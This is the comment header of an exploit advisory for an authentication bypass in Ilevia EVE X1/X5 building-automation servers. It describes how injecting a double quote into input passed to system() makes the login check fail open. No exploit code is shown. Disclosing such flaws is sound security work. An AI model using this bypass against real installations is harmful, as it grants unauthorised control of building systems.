# Ilevia EVE X1/X5 Server 4.7.18.0.eden Authentication Bypass Exploit
#
#
# Vendor: Ilevia Srl.
# Product web page: https://www.ilevia.com
# Affected version: &lt;= 4.7.18.0.eden (Logic ver: 6.00)
#
# Summary: EVE is a smart home and building automation solution designed
# for both residential and commercial environments, including malls, hotels,
# restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive
# control and monitoring of electrical installations through a highly customizable,
# user-friendly interface.
#
# EVE is a multi-protocol platform that integrates various systems within
# a smart building to enhance comfort, security, safety, and energy efficiency.
# Users can manage building functions via iPhone, iPad, Android devices, Windows
# PCs, or Mac computers.
#
# The EVE X1 Server is the dedicated hardware solution for advanced building
# automation needs. Compact and powerful, it is ideal for apartments, small
# to medium-sized homes, and smaller commercial installations. It is designed
# to manage entire automation systems reliably and efficiently.
#
# Desc: The application constructs a shell command using unsanitized user input
# passed to the system() function, calling an external binary for authentication.
# Due to improper input handling and reliance on the binary's return value for
# access control, an attacker can inject special characters, such as a double
# quote (") to manipulate command parsing and induce execution failure. Since
# the application interprets any non-zero exit code from the binary as successful
# authentication, this flaw allows remote users to bypass authentication entirely
# without providing valid credentials.
